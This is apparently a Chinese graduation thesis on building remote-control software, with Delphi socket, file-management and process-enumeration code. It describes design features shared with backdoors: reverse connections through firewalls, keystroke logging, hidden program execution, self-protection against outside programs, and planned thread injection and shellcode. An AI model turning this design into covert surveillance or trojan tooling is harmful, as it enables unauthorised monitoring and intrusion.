• 305.50 KB
  • 2022-04-22 11:38:08 发布

远程监控毕业设计论文.doc

  • 52页
  • 当前文档由用户上传发布,收益归属用户
  1. 1、本文档共5页,可阅读全部内容。
  2. 2、本文档内容版权归属内容提供方,所产生的收益全部归内容提供方所有。如果您对本文有版权争议,可选择认领,认领后既往收益都归您。
  3. 3、本文档由用户上传,本站不保证质量和数量令人满意,可能有诸多瑕疵,付费之前,请仔细先通过免费阅读内容等途径辨别内容交易风险。如存在严重挂羊头卖狗肉之情形,可联系本站下载客服投诉处理。
  4. 文档侵权举报电话:19940600175。
'第52页共52页引言时至今日,网络已经深入到世界各个角落了,它使人们脱离了地域的分隔与局限,把地球变成了“地球村”。这极大地方便了人们在大范围内的资源共享与利用。但是,网络的高速发展,使简单的资源共享不能满足人们的需要,于是出现了各种各样的远程控制软件,虽然技术含量不一,但各有其特点。笔者对现有各种远程控制软件进行了严格的测试与研究分析,最终设计出了本文中的远程控制系统框架。远程控制技术主要涉及到了网络通信,系统内核,多媒体三个方面的知识。网络通信主要实现在两台计算机之间进行数据传输,这是远程控制系统中的总体外部框架,它直接影响到整个系统的成败。现在计算机之间的网络条件发生了很大的变化,经典的Client/Server网络模型在很多地方已经不能使用,于是,本文在其基础上设计了一种新的网络模型。系统中运用的系统内核的知识十分广泛,远程控制系统中的90%的功能都是利用系统内核技术实现的,它是控制功能上的顶梁柱,在整个软件系统中,占有“舍我其谁”的地位。多媒体技术在软件系统中的屏幕监控,视频传送等方面得到了全面的利用,充分展现了它的价值。从网络安全的角度出发,本文采用了两种经典了算法:DES和MD5。在系统中,为了让服务程序不受外界其它程序的影响,本文创造了一种内核线程守护功能,以及程序指纹和自我鉴定算法。网络远程控制(NRC,NetworkRemoteControl)主要应用于计算机远程管理与维护,网络远程教学,远程办公等领域。目前的软件市场中,远程控制软件的需求日益增长,一些商业大公司为此投入了大量的人力财力,开发出了几个较好的远程控制软件,如SYMANTEC公司的PcAnywhere。但是,网络的迅猛发展很快又把它们挤向了末流,原本很好的控制软件,在新的市场需求面前显得苍白无力。为了适应目前远程控制方面的要求,本文深入地研究了远程控制技术,并开发出了一个功能强大的高效远程控制软件。实践证明本系统的设计相当成功,更让人看到了远程控制软件发展的趋势。本文中众多的创新点与技术突破,得到了业界人士的认可。本文将详细说明一个功能强大的远程控制软件的开发过程。注意:本文中采用的是新型网络模型,发送命令的控制程序可以既是客户端,又是服务端;同时,接受命令并处理命令的程序也是两者的结合。所以在本文中一律采用“控制端”与“被控端”来对软件系统中的两个主要功能程序命名,而没有使用传统客户端、服务端这一命名用法。 第52页共52页1概述本章首先介绍远程控制的相关理论与知识,给出一个远程控制系统的大概框架,再分析当前远程控制系统发展的状况以及面临的问题与挑战,最后对整个论文做了一个整体的概要。1.1NRC介绍网络远程控制(NRC,NetworkRemoteControl)是利用计算机网络,对远程计算机进程操作的一种控制方式。它将远程办公、远程管理、网络教学变成可能。目前的众多计算机网络远程控制软件,都是采用TCP协议,基于Socket开发的。也有少量同类软件使用UDP,ICMP协议的,但是它们的数据可靠性不高,所以只能进行较少数据的传递,对数据要求不高的场合。远程控制技术是伴随着互联网技术的发展而产生的一项崭新技术,通过连接网络,使本地的一台计算机可以操作使用远程的另一台计算机,其操作具有实时性。(1)NRC的原理NRC必须通过网络才能进行。位于本地的计算机是操纵指令的发出端,一般被称为主控端或客户端,非本地的被控计算机则通常叫做被控端或服务端。这里所说的“远程”并不等同于远距离,主控端和被控端可以是位于同一局域网的同一房间中,也可以是连入Internet的处在任何位置的两台或多台计算机。  远程控制软件一般分两个部分:一部分是客户端程序(Client),另一部分是服务器端程序(Server),通常在使用前需要将客户端程序安装到主控端的电脑上,将服务器程序安装到被控端的电脑上。它的控制的过程一般是先在控制端电脑上执行主控程序,像一个普通的客户一样向被控端电脑中的服务器端程序发出信号,建立一个特殊的远程服务,然后通过这个远程服务,使用各种远程控制功能发送远程控制命令,控制被控端电脑中的各种应用程序运行。  远程控制软件在两台计算机之间建立起一条数据交换的通道,从而使得控制端可以向服务端发送指令,操纵服务端完成某些特定的工作。此时,控制端只是负责发送指令和显示远程计算机执行程序的结果,而运行程序所需的系统资源均由被控计算机负责。  为了使用的方便,某些远程控制软件使用了Web技术,主控端可通过IE浏览器运行位于服务器端中的主控端程序来实现远程控制。  通过远程控制软件,可以进行多种远程操作,如察看被控电脑屏幕、窗口;访问被控电脑的磁盘、文件夹及文件,并可对其进行管理或共享其中的资源;运行或关闭被控电脑中的应用程序;查看被控电脑的进程表,激活、中止程序进程;记录并提取被控电脑的键盘操作;对被控电脑进行关闭、注销或重启等操作;修改被控电脑的Windows注册表;操纵与被控电脑相接的打印机、扫描仪等外部设备;通过被控电脑捕获音频、视频信号等。 第52页共52页(2)NRC的实现要进行远程控制,首先主控电脑和被控电脑都处在网络中,网络可以是局域网、广域网或Internet,某些软件也可使用直接连接电缆利用电脑COM或LPT口进行远程控制。其次要保证双方使用相同的通信协议,多数情况下远程控制软件使用的是TCP/IP协议互相通信,也有部分软件可使用SPX、NetBIOS协议,但使用这类协议无法在广域网及Internet上实现远程控制。远程控制软件都要求远程控制的双方拥有合法的IP地址,并且要知道控制端或被控端(知其一即可)确切的IP地址。(3)NRC的应用远程控制在众多的领域里有着非常广泛的应用,如远程培训与教学、远程办公、对计算机及网络的远程管理与维护、远程监控。  ①远程培训与教学  远程控制可以用于对远程的用户和员工进行培训,通过远程控制技术操纵对方的计算机,向对方进行操作演示,这样可以节省培训费用提高培训的效率。远程控制技术也大量的使用在教学网络当中,软件方案的多媒体网络就是远程控制技术与多媒体技术结合的产物。②远程办公  远程控制还可让你在任何地点连接自己的工作电脑,使用其中的数据与应用程序,访问网络资源、使用与其连接的打印机等外设。它还可用于公司同事之间互相协同,完成一项共同的工作。  ③远程管理与维护  对于计算机行业的售后服务人员来说,通过远程控制来为客户提供软件维护、升级、故障排除等服务,无疑可节省大笔的服务经费。对于网络管理人员来说,远程控制可用来管理、维护单位网络中的大量服务器和计算机,可大大提高工作效率。  ④远程监控  企业的管理者可通过远程控制软件来查看员工的屏幕,以保证员工能够在上班时间集中精力投身于工作,杜绝在上班时间聊天、上网、玩游戏的现象。甚至还可通过记录员工的键盘操作,来防止企业的商业和技术机密被不正当使用。  家长也可通过远程控制对子女的电脑进行监控,防止子女无节制玩游戏或接触不良信息。(4)NRC的安全性远程控制虽然可以方便地操纵远程计算机,但它也可能会给计算机带来安全方面的隐患。因为一旦远程计算机成为服务端以后,其他人只要知道了这台计算机的IP 第52页共52页地址,同样也可以通过网络上其他计算机向其发送控制指令,由于控制者拥有几乎完全的控制权,被控计算机中的所有资源都处在不设防状况,有可能导致非常严重的后果。实际上木马程序的原理和远程控制程序是一样的,远程控制一旦被居心不良者钻了空子,它的危害甚至比木马还要严重。  因此,远程控制软件必须拥有一套严密的安全审核机制,通常的控制软件会用采用密码验证等认证手段来判断哪些计算机是合法的控制端,只有是合法的控制端发出的指令,服务端才会予以执行,否则就予以拒绝,这样能在一定的程度上保证计算机的安全。1.2NRC软件发展现状目前,许多大公司开发了一些很好的远程控制软件,如pcAnywhere、RemoteAnything、RemoteAdministrator、DameWareNTUtilities等等,它们在功能上各有其优点与不足。在网络通信方面,它们基本都是采用“面向连接,可靠传输”的TCP(TransmissionControlProtocol,即传输控制协议)协议。近年来,HTTP隧道技术与FTP隧道技术也开始引起人们的注意,也逐渐有人尝试着把它运用在远程控制技术中,并证实了其可行性。当前的正规商业远程控制软件所采用的网络模型都是传统的Client/Server模型,新出现的反弹连接模型在商业软件中尚未得以运用。在控制功能上,远程控制软件已经实现了屏幕监控、文件管理、上传下载、以及开机关机等功能,但是在实际的运用中,功能还须大大的加强。1.3NRC软件开发面临的挑战由于远程控制软件开发中涉及的技术含量相当大,包括的范围也非常广,而计算机所的网络的环境也具有多样性,并且远程控制软件在适应性,健壮性方面也都是较大的难题。为了抵御网络远程嗅探攻击,远程控制类软件还得专门为自己在网络中传输的数据进行加密;为了适应网络带宽较小的环境,还得精心为网络数据进行数据压缩。在功能实现方面,需要开发者有相当的系统内核知识,对于操作系统的调度算法、保护机制,以及系统服务机制、权限分配等处理有清晰的认识。目前的远程控制不仅限于文本的交流,还需要语音、视屏等,而且网络的发展向多元化发展,传统的Client/Server网络模型已不能满足实现需求,需要设计实现新的网络模型,这些对于远程控制系统开发都来说,都是极大的挑战。1.4论文内容简介本文采用TCP协议,基于底层Socket进行网络通信,对于网络中的关键数据进行加密传输,在涉及到软件的网络数据量时,采用数据压缩算法进行数据压缩。网络模型在传统的Client/Server的基础上,引入了反弹连接型,以及两种模型并行的全双功模型。在功能上,实现屏幕监控、文件管理、窗口监控、进程监控、注册表管理、服务管理、TELNET终端、上传下载,对鼠标、键盘、光驱、显示器分辨率等能进行动态监控与设置,同时能够对远程操作系统类型、CPU类型、内存大小及使用状态等进行探测;在聊天功能上,加入了视频同步等等。 第52页共52页本文最后详细介绍了此系统中创造的内核线程守护功能,程序指纹的设计,自我鉴定算法设计等,并针对系统开发中使用的关键技术(如远程线程注入,ShellCode技术,Hook技术等)做了详细的说明。1网络相关分析2.1Socket简介套接字(Socket)是一种网络编程接口,它是对通信端点的一种抽象,提供了一种发送和接受数据的机制。Socket最初是由Berkley分校开发的,它是在UNIX环境下的一个编程接口。开发Socket的目的是隐蔽网络底层复杂的结构和协议,使编程人员能够简单抽象的对网络进行操作。利用它可以构造任意的跨操作系统,跨网络协议的分布式处理系统。Socket面向Client/Server模式,针对Client/Server程序提供不同的主要系统调用。Socket的协议分为以下三种类型:字节流套接字(SOCK_STREAM),数据报套接字(SOCK_DGRAM),原始数据报套接字(SOCK_RAM)。前面两种属于Socket的连接类型,在功能上却有较大的差异。数据报套接字面向无连接型,传输不保证顺序性、可靠性和无重复性,因此适合在涉及少量信息传递的情况。字节流套接字是一种面向连接、带有校验机制的网络信息包传输,可靠性比较优秀,但是在这个过程中需要建立和释放连接,并且在每一个消息传递之后就要立即应答校对,增大了额外的开销,适合于大量信息传递的情况。网络远程控制中涉及的数据信息量相当大,而且要求有较高的可靠性,因此采用字节流套接字。面向连接的字节流类型的工作流程如图1.1所示:面向连接的字节流类型的Socket工作中有比较严格的操作次序,工作的原理也比较复杂。在其工作过程中,必须首先启动服务器端,通过调用WSAStartup()函数初始化套接字,再调用socket()函数创建一个socket对象,然后调用bind()函数将该socket对象和本地网络地址绑定在一起,再调用listen()函数使该socket对象处于侦听状态,并规定它的最大请求的数量。之后一直等到有客户机有连接请求的时候服务器才会再次被激活。收到客户机请求以后,服务器调用accept()函数来决定是否接受该连接。客户在建立Socket对象后就可调用connect()函数和服务器建立连接。连接一旦建立,客户机和服务器之间就可以通过调用基本的网络I/O函数send()、recv()来发送和接收数据。待数据传送结束后,双方都调用closesocket()函数关闭开始创建的socket对象。最后再调用WSACleanup()恢复套接字(WSAStartup()函数使用之后Winsock内部计数器就会加1,使用WSACleanup()函数在这个计数器上执行减1操作)。这样就进行了一次完整的通信。 第52页共52页图1.1Client/Server网络模型2.2TCP/IP协议族分析在众多的协议中,TCP/IP协议的应用是最为广泛的,已经成为了事实上的工业标准,主要用于广域网(WAN)和局域网(LAN)。TCP/IP起源于20世纪60年代末美国政府资助的一个分组交换网络研究项目,到20世纪90年代已发展成为计算机之间最常应用的组网协议。它是一个真正的开放系统,该协议族的定义及其多种实现可以在公开的场合免费得到。Internat就是采用TCP/IP协议作为共同的通信协议,将世界范围内许多计算机网络连接在一起,成为当今最大的和最流行的国际性网络。2.2.1TCP协议说明TCP的全称是TransmissionControlProtocol,即传输控制协议。在网络通信传输机制中,它属于“面向连接,可靠传输” 第52页共52页的类型。这一点如果和UDP协议进行比较就会看得比较清楚。面向连接的传输意味着在进行通信以前,需要在两个系统之间建立逻辑连接,在每个数据传输的过程中都需要进行应答以保证数据包的完整。这种方法所需的网络开销较大,可是数据传输的可靠性可以保证。在常见的上层协议中,TELNET、FTP、SMTP、HTTP等都是使用TCP协议作为基础的,而一些简单的协议如ECHO(一种简单的回显服务,即客户端会从服务器端接受到自己的发送包的拷贝),则可以使用TCP也可以使用UDP。2.2.2UDP协议说明UDP的全称是UserDatagramProtocol,即用户数据报协议。它属于“面向无连接,不可靠传输”的类型。这一点必须注意。该协议只负责接收和传送由上层协议传递的消息,它本身不做任何一方的检测、修改与应答。UDP协议中,每个数据包成为“数据报”,它的包头只包括几个域,主要是地址信息、包的长度和校验信息。与此对应,TCP包的头信息有十多个域,因此它的网络开销一般要小于TCP协议。由于UDP协议在传送数据过程中没有建立连接,也不进行检查,因此在优良的网络环境中,其工作效率较TCP协议要高。目前常见的使用UDP协议工作的软件有OICQ,它是一种在线聊天工具。由于自身的特点,它成为进行网络广播的首选协议。传统的NFS(NetFileSystem,网络文件系统)只使用UDP协议,从NFSv30开始同时支持TCP与UDP。2.3Client/Server模型分析Client/Server模型是非对等关系,客户发出服务请求,服务器作出响应,提供服务,即所谓的"请求驱动"。当前网络远程控制都是采用这个模型,但是根据计算机所处的网络环境关系不同,又可分为正向连接与反弹连接两种模式。计算机A(Client)与计算机B(Server)所处网络环境关系分为以下五种情况:①同一内网;②同为公网;③内网ßà公网;④公网ßà内网;⑤内网Aßà内网B。这五种情况各有其特点,也正因为如此,远程控制软件开发面临了巨大的挑战。为了适应这几种关系,Client/Server模型分化出了两种模式。正向连接模式属于传统Client/Server模型,服务端监听端口,等待客户端的连接请求,客户端主动连接服务端,建立连接,再进行控制操作。当前许多著名的远程控制软件都使用这种模式,对于处于①②③网络关系的计算机,可以轻松实现网络远程控制。但是现在处于④⑤关系的也非常多,而且有发展的趋势,使用传统正向连接模式根本无法找到服务端,更谈不上远程控制。这也正是当前众多远程控制软件不能满足需求的原因所在。 第52页共52页反弹连接是近年才出现的网络连接模式,属于反传统Client/Server模型。它相对于正向连接而存在,并且由客户端监听端口,服务端主动连接客户端实现网络通信,进而实现远程控制。目前,这种连接模式主要使用在黑客后门程序中,用于穿透防火墙。它能实现①②④关系的计算机之间的通信,但是在目前的远程控制软件中较少使用,也无法满足实际需求。3远程控制系统网络模型设计3.1数据转发设计数据转发就是在一个固定的开放端口接受数据,并设定此端口收到的数据全部转发给另外一个端口,通过不同IP地址的端口数据转发,可以让公网主机主动访问内网的一台计算机。其数据转发机制如图3.1所示:图3.1数据转发模型通过数据转发,内网主机的port1就映射到了公网主机的port3端口上了,其它的主机只要访问公网主机I的port3端口,就能够访问到内网主机的port1。在这个模型中,公网主机I上port2与port3之间存在一种数据转发机制,它的功能就是把port2收到的非本机数据全部转发给port3,同时也把port3所收到的非本机数据也全部转发给port2。通过对数据转发机制的设计,就可以建立所需要的网络远程控制软件模型了。3.2网络连接模型设计经过对正向连接,反弹连接与端口映射的分析,现在可以总结设计出符合实际需求的网络远程控制软件的模型了。这个模型既能够实现五种网络环境关系下的远程控制,又要尽可能不降低执行效率。因此,服务端与客户端都分别采用两种模式:监听等待连接和主动连接。客户端采用这两种模式属于互斥式,即当采用其一模式时,另一种模式失效;服务端的两种模式并发执行,监听的端口可以直接与客户端建立连接,也可以接收服务端主动连接模式中端口转发过来的数据。远程控制连接模型设计如图3.2所示:由图3.2可知,这个模型可以使用三种不同的连接方式。(1)当客户端能够直接访问服务端时,由客户端向服务端监听的端口请求连接(应用于①②③)。(2)当客户端不能直接访问服务端,而服务端可以直接访问客户端时,由服务端向客户端监听的端口请求连接(适用于①②④,应用于④)。 第52页共52页图3.2网络连接模型(3)当客户端与服务端都不能直接访问对方的时候,服务端将本机监听的端口映射为公网主机I的C_Port,再由客户端向C_Port提出连接请求(适用于①②③④⑤,应用于⑤)。第二种连接方式虽然也适用于①②情况,但使用中不如第一种方式方便,因此仅应用于④;第三种连接方式虽然能够满足所有要求,但是其执行效率远不及前面两种方式,因此只应用于⑤。此模型中,服务端两种模式并发执行,所以不用选择服务模式。欲建立连接时,客户端根据不同的网络条件,选择相应的互斥连接方式,就可以达到远程控制的目的。由于连接模式的多样性,密码验证也具有了多样性。3.3密码验证模式设计远程控制的实际运用中,客户端与服务端建立连接必须经过密码验证才能实现,这在远程控制中才能保证服务的安全性,也是网络远程控制软件系统设计的一个重要的方面。本文采用了三种不同的连接方式,所以也得相应采取不同的密码验证模式。密码验证模型1如图3.3所示。此密码验证模式中,客户端主动向服务端提出连接请求。当服务端接收到连接请求的时候,马上要求客户端进行密码验证。由于密码要在网络中进行传送,这就涉及到了密码信息泄露的可能性,网络中传输的密码很可能被黑客进行嗅探攻击而泄漏。为了确保安全,就需要对传输的密码进行加密(使用不可逆加密算法),然后再将加密后的密码传送给服务端。服务端接收到信息后,立刻对自己的验证码使用同样的加密算法进行加密(因为加密算法是不可逆的,所以不能采用解密的办法),再将加密结果与接收到的信息进行对比。如果密码不正确,则拒绝连接请求;如果密码正确,则准备接收命令、执行命令,返回执行结果,直到客户请求断开连接,或者网络意外中断,才结束这次会话。 第52页共52页图3.3密码验证模式1密码验证模式2如图3.4所示:图3.4密码验证模式2 第52页共52页此密码验证模式与模式1最大的区别就在于:模式1中,是由客户端主动提出连接请求;模式2中,却是由服务端主动提出连接请求。在尚未建立连接的情况下,服务端每间隔一段时间(间隔时间可以根据实际情况而定,一般为几秒钟)就向客户端发送连接请求。当客户端接收到连接请求时,就马上对请求连接者的身分进行识别。如果客户端不打算对请求者进行操作,则不做任何响应;如果客户端欲对请求者进行远程操作,则马上根据识别的结果,选择与请求者对应的密码进行加密,再传送给服务端。服务端接收到数据信息后,立即对自身的验证码进行相同加密,再将加密后的密码与接收到的信息进行对比。如果密码不正确,则断开连接,结束本次会话,继续向控制端发送连接请求;如果密码正确,则准备接收命令、执行命令,返回结果,直到客户提出断开请求,或者网络意外中断,才结束本次会话,再继续向控制端发送连接请求。模式1与模式2的结合点在于最终的数据处理都由服务端监听端口实现,当它接收到连接请求或响应数据时,都会要求进行密码验证,于是模式1与模式2通过它有机地结合在一起,使得三种连接方式密码验证都得以实现。4远程控制系统功能设计与实现4.1网络通信的实现本模块中详细分析远程控制系统中网络通信的具体实现。实现手段:delphi6.0环境下,使用底层Socket开发实现。进行网络数据传输时,每个数据包的大小设计为4k(TCP协议的网络数据包一般都小于等于这个值),经过加密处理的相关命令及其参数都是放在数据包的头部,接收到数据包时,首先提取命令及其数据,再解密并执行相关的命令。接收数据与发送数据两个线程同步,并行处理数据。其实现模型如图1.1所示。(1)服务端实现端口监听,用于等待客户端的连接请求。当客户端请求断开连接,或者网络意外中断时,结束一次网络连接,等待新的连接请求。其具体实现代码如下:functionInitSocket:Boolean;//用于初始化winsock;varWSAData:TWSADATA;beginif(WSAStartup(MAKEWORD(2,0),WSAData)<>0)then//初始化winsock,使用winsock(2.0);beginResult:=False;endelseResult:=True;end;//创建Socket;functionServerSocketActive(port:integer):Boolean;varSAddr:TSockAddr; 第52页共52页beginskt:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);//创建一个采用字节流类型的TCP协议的Socket;if(skt=INVALID_SOCKET)thenbeginWSACleanup();Result:=False;Exit;end;SAddr.sin_family:=PF_INET;SAddr.sin_port:=htons(port);SAddr.sin_addr.S_addr:=INADDR_ANY;if(bind(skt,SAddr,sizeof(SAddr))=SOCKET_ERROR)then//执行端口绑定;beginCloseSocket(skt);WSACleanup();Result:=False;Exit;end;if(listen(skt,999)<>0)then//监听端口,最大连接数为999;beginCloseSocket(skt);WSACleanup();Result:=False;Exit;end;Result:=True;end;//接受连接请求,并向客户机发送应答信息;functionAcceptSocket:Boolean;varsa:TSockAddr; 第52页共52页sa_len:integer;beginsa_len:=SizeOf(sa);SSkt:=accept(skt,@sa,@sa_len);//接受连接请求if(SSkt=INVALID_SOCKET)thenbeginCloseSocket(skt);WSACleanup();Result:=False;Exit;end;Result:=True;end;接受连接请求后,服务端与客户端便能进行网络通信,数据传送。在传统的正向连接型Client/Server模型中,服务端用于接收命令并执行命令,再把命令的执行结果回传给客户端,以完成一次成功的远程控制操作。(2)客户端用于主动向服务端提出连接请求,它本身的数据包含了自身的信息以及目的服务端的IP地址和端口等信息。在提出连接请求之前,客户端也需要进行初始化套接字、创建套接字操作,然后再连接服务端。具体实现如下:functionClientSocketActive(port:integer;IP:PChar):Boolean;varSAddr:TSockAddr;beginskt:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);//创建一个采用字节流类型的TCP协议的Socket;if(skt=INVALID_SOCKET)thenbeginWSACleanup();Result:=False;Exit;end;SAddr.sin_family:=PF_INET; 第52页共52页SAddr.sin_port:=htons(port);SAddr.sin_addr.S_addr:=inet_addr(IP);if(connect(skt,SAddr,SizeOf(SAddr))<>0)then//向服务端发出建立连接的申请。使用的参数中包括了服务器的地址信息。该函数还负责将客户端信息发送给服务器。beginCloseSocket(skt);WSACleanup();Result:=False;Exit;end;Result:=True;end;(3)网络I/O函数functionsend(s:TSocket;varBuf;len,flags:Integer):Integer;stdcall;s:TSocket对象,使用socket()函数创建;Buf:保存发送数据的缓冲区地址;len:缓冲区大小;flags:网络呼叫产生方式标志,flags的值可设为0或者MSG_DONTROUTE及MSG_00B的组合。如果函数调用成功,返回实际发送的字节数,否则返回SOCKET_ERROR。Functionrecv(s:TSocket;varBuf;len,flags:Interger):Integer;stdcall;s:TSocket对象,使用socket()函数创建;Buf:保存接收数据的缓冲区地址;len:缓冲区大小;flags:网络呼叫产生方式标志,flags的值可设为0或者MSG_DONTROUTE及MSG_OOB的组合。MSG_PEEK代表将资料拷贝到使用者提供的Buf,但是资料并不从系统的缓冲区中移走;0则表示拷贝并移走。如果函数调用成功,返回实际接收的字节数,否则返回SOCKET_ERROR。(4)关闭Socket及错误处理FunctionWSACleanup:Integer;stdcall;函数调用成功,返回0,否则返回SOCKET_ERROR。 第52页共52页在应用程序完成网络通信以后,应该调用WinsockAPI的库函数将其关闭,通知Winsock网络通信已经结束。网络程序每调用一次WSAStartup(),Winsock的计数器就会加1,使用WSACleanup()这个函数在这个计数器上执行减1操作。调用这个函数是为了释放其占用的资源。FunctionWSAGetLastError:Integer;stdcall;ProcedureWSASetLastError(iError:Integer);stdcall;WSAGetLastError()函数返回的就是最后一次发生的Winsock错误的错误码。在WSASetLastError()函数中的参数是需要设置的错误号。在网络错误发生时,应用程序可以首先使用WSAGetLastError()函数了解问题所在,然后调用WSASetLastError()函数将错误号设置成0,从而重置当前进程的网络错误。4.2远程文件管理的设计与实现文件管理模块实现对远程主机上文件的管理,在客户端与服务端建立连接的情况下进行管理操作,其具体的功能如图4.1所示:图4.1文件管理模型在建立网络连接的时,被控制端遍列本机磁盘,再把磁盘的所有信息传给控制端。API函数GetDriveType可以检测驱动器所属的类型。该函数的定义如下:UNITGetDriveType(LPCTSTRlpRootPathName);通过函数返回值就可以确定驱动器的类型信息。它可以取下列值:0驱动器类型无法确定;1指定的根目录不存在;DRIVE_REMOVEABLE该驱动器是可移动驱动器;DRIVE_FIXED该驱动器是固定驱动器;DRIVE_REMOTE该驱动器是远程(网络)驱动器; 第52页共52页DRIVE_CDROM该驱动器是CD-ROM驱动器;DRIVE_RAMDISK该驱动器是虚拟驱动器(RAM)。接着需要实现的对驱动器内文件的进行遍列,并获取文件的大小与修改日期等信息。将遍列的结果以文本的形式存入一个TStringList类型函数内,再把它发送给控制端,控制端将接受到的文本进行分离,分别列出文件夹与文件。其它功能实现如下:新建目录:MkDir(P:PChar);删除目录:API函RemoveDir(P:PChar)只能够删除空目录,并且目录的属性不能为只读。因此,在执行目录删除操作时,首先要把目录的属性设置为无任何属性,再对目录内的所有文件进行遍列、删除,如果目录内还有其它目录,则在遍列的同时,对其功能进行递归调用。复制文件、剪切文件、粘贴文件:CopyFile(LPCTSTRlpExistingFileName,LPCTSTRlpNewFileName,BOOLbFailIfExists);LPCTSTRlpExistingFileName为已经存在,要拷贝的源文件;LPCTSTRlpNewFileName为拷贝的目的文件;BOOLbFailIfExists,当目的文件已经存在时,是否进行覆盖操作,如果有真则不覆盖,为假则覆盖掉原来已经存在的目的文件。在此操作中,复制文件与剪切文件不同的是,剪切文件还多了一个操作,就是拷贝成功完成后,把源文件删除。重命名:functionRenameFile(constOldName,NewName:string):Boolean;如果重命名成功则返回TRUE,否则返回FALSE;删除:functionDeleteFile(constFileName:string):Boolean;如果删除成功则返回TRUE,否则返回FALSE;文件执行:UINTWinExec(LPCSTRlpCmdLine,UINTuCmdShow);LPCSTRlpCmdLine为需要执行的命令行,UINTuCmdShow为命令执行的方式,SW_HIDE为后台隐藏执行,SW_SHOW为前台执行。排列方式:大图标、小图标、列表、详细资料。这几种排列方式都是模仿的Windows系统中文件的排列方式,以适应人们的使用习惯。文件管理中还有两个非常重要的功能:文件上传与下载,这也是网络远程文件管理中不可或缺的功能。在欲进行文件上传或下载操作时,控制端首先通知被控制端,并且把要上传、下载的文件信息传送给被控制端。被控端接收到信息之后,与控制端建立一个新的连接,用于文件传输。再以共享的方式打开文件,文件指针指向文件头部,将其内容读入内存,最后以每个包4K的大小发送出去,直至整个文件发送完毕。这个操作过程不能够使用程序主线程,否则不能进行停止文件传输操作。 第52页共52页4.3远程进程监控的设计与实现Windows是一个多任务系统,同一时间可以有多个程序在内存中运行,即多个进程。进程是一个表态的概念,而线程才是一个动态的概念。如果进程创建时将自动建立主线程,主线程本身又可以生成新的线程。通常而言,子进程可以继承一组与父进程相同的环境变量。但是,父进程能够控制子进程继承什么环境变量。这里的继承,指的是子进程获得自己的父进程的环境块“拷贝”,子进程与父进程不共享相同的环境块。这意味着子进程能够添加、删除或修改它的环境块中的变量,而这个变化却不会影响父进程的环境块。Win32分给每个进程的内存都是4GB,这里的4GB的地址空间不是指物理地址空间,而是Windows的虚拟地址空间,其目的是使进程与进程之间互不干扰。由于每个进程都在自己的4GB的地址运行,而不必理会其他的进程,所以每个进程在计算机中与其他进程的关系是完全独立的,互相覆盖的机会非常少。因此,一个程序对内存的无效访问导致覆盖另一个程序或操作系统的某些部分的情况是不可能的,每个进程都被封闭在一个安全的虚拟环境中,在这个环境中不能获得任何其它程序。对于Win32,所有内存的操作都是由操作系统来完成的,应用程序不能对内存进行直接操作,如果要使用其中的内存空间要事先向系统申请。应用程序一般使用VirtualAlloc函数通过两个步骤来完成这个过程:第一步保留,申请内存为保留空间,不能再用于其他的用途,当然仅仅这个操作不会对内存发生什么变化,这根本未进行内存分配操作,也不能在这时就对内存进行访问,否则将会发生异常;第二步提交,这一步才真正分配了内存空间,才能作为一个进程的可用空间。Win32系统虽为每个进程分配了4GB的内存空间,但实际上大部分的机器都不会有如此大的内存,Win32只用到了4GB线性地址的一小部分,只有在应用程序向系统请求内存时才会分配更大的空间。分析虚拟内存地址是否有效(即分析是否已将其地址与物理地址或交换文件映射)、是否对其有读写属性等,可以使用VirtualQueryEx函数来完成此任务,此函数以MEMORY_BASIC_INFORMATION结构为参数,如下表4.1所示:表4.1VirtualQueryEx函数参数表字段名意义BaseAddress当前块所属区域的基地址AllocationBase当前块所属分配单元的基地址AllocationProtect当前块所属区域的初始访问保护属性(保留时指定)RegionSize当前块大小State当前块状态Protect当前块的访问保护Type当前块的页类型:MEM_IMAGE,MEM_MAPPED,MEM_PRIVATE 第52页共52页4.3.1进程列举的实现为了枚举进程及其信息,需要使用Windows提供的ToolHelpAPI来实现。很多时候要了解系统中已经执行的进程,并取得该进程的所用的程序扩展,以用于对于某些进程进行监视、计时或获取其相应的动态调用信息等用途。通常所见到的真正运行的进程通常被定义为一个正在运行的程序,由操作系统用来管理进程的内核对象和地址空间两部分组成。内核对象也是系统用来存放关于进程的统计信息的地方。地址空间包含所有可执行模块或DLL模块的代码和数据,它还包含动态内存分配的空间,如线程的堆栈和堆分配空间。在Windows9x/2000/XP下可以用ToolHelpAPI枚举进程信息。创建长期系统内核快照:CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS,0);获取第一个进程:Process32First(ProcessListHandle,ProcessStruct);获取下一个进程,直到最后一个进程为止:Process32Next(ProcessListHandle,ProcessStruct);4.3.2终止进程的实现由CreateThread创建的线程将执行到调用ExitThread或线程函数返回时为止(在后一种情况下,ExitThread被隐藏地调用)。ExitThread的退出参数或线程函数的返回值就是线程的退出代码。任何在进程终止时打开着的文件或其他资源将自动关闭,但是线程不同,线程终止时任何打开的资源仍保持打开,直到其他线程关闭它或进程结束。进程的任何线程均可调用CreateProcess创建子进程。另外,已过时的进程创建函数(LoadModule和WinExec)也是靠调用CreateProcess实现的。如果一个可执行的模块有多个执行实例,那么每个都有自己的数据段和地址空间,尽管它们可以共享代码和已调入内存的初始后的数据。父进程可以向它的子进程传递命令参数,父进程可让子进程继承其环境变量,也可为子进程指定新的环境变量,父进程可以控制是否让子进程继承已打开的句柄,父进程还能让子进程选择继承一些资源。子进程可以不用准备就使用继承来的资源,当然如果是父进程在创建子进程后所创建的资源,对于子进程是“不可见”的。这与线程创建的资源不同,线程创建的资源对于任何时刻创建的进程都是“可见”的。TerminateProcess函数是个异步运行的函数,也就是说,它会告诉系统要进程终止运行,但是当函数返回时,无法保证该进程已经终止运行。因此,如果想要确切地了解进程是否已经终止运行,必须调用WaitForSingleObject函数或者类似的函数,并传递进程的句柄。当进程终止运行时,下列的操作将启动运行。 